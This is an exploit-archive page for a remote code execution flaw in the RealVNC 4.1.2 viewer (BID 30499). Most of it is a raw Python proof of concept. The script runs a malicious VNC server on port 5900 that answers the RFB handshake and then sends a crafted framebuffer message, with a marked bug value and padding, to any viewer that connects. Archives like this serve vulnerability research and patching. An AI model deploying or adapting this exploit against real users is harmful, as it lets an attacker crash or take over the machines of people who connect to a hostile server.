header-logo
Suggest Exploit
vendor:
RealVNC
by:
Andres Lopez Luksenberg
N/A
CVSS
HIGH
Remote Code Execution
CWE
Product Name: RealVNC
Affected Version From:
Affected Version To:
Patch Exists:
Related CWE:
CPE:
Metasploit:
Other Scripts:
Platforms Tested:

RealVNC 4.1.2 ‘vncviewer.exe’ RFB Protocol Remote Code Execution Vulnerability

This exploit takes advantage of a vulnerability in RealVNC 4.1.2's 'vncviewer.exe' RFB Protocol, allowing remote code execution. The vulnerability is identified by BID 30499.

Mitigation:

Source

Exploit-DB raw data:

#!/usr/bin/env python
# POC: RealVNC 4.1.2 'vncviewer.exe' RFB Protocol Remote Code Execution Vulnerability, BID 30499
#Author: Andres Lopez Luksenberg <polakocai@gmail.com>
#
import socket

serversocket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
serversocket.bind(('', 5900))
serversocket.listen(1)

while True:
		clientsocket, clientaddres = serversocket.accept()

		data = 'RFB 003.008\n'
		clientsocket.sendall(data)

		data_cli = clientsocket.recv(1024)
		print data_cli

		data = '\x01\x01'
		clientsocket.sendall(data)

		data_cli = clientsocket.recv(1024)
		print repr(data_cli)

		data = '\x00\x00\x00\x00'
		clientsocket.sendall(data)

		data = '\x02\xd0\x01\x77\x08\x08\x00\x00\x00\x07\x00\x07\x00\x03\x00\x03\x06\x00\x00\x00\x00\x00\x00\x13\x4c\x69\x6e\x75\x78\x56\x4e\x43\x3a\x20\x2f\x64\x65\x76\x2f\x74\x74\x79\x32'

		clientsocket.sendall(data)

		data_cli = clientsocket.recv(1024)
		print repr(data_cli)

		data_cli = clientsocket.recv(1024)
		print repr(data_cli)

		data_cli = clientsocket.recv(1024)
		print repr(data_cli)

		data='\x00\x00\x00\x03\x00\x03\x00\x03\x00\x08\x00\x07'

		data = data + '\x00\x00\xff\xff' #bug

		data = data + '\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xe7\xe7\x7e\x3c\x7e\xe7\xe7'

		clientsocket.sendall(data)

clientsocket.close()	
serversocket.close()

# milw0rm.com [2009-02-02]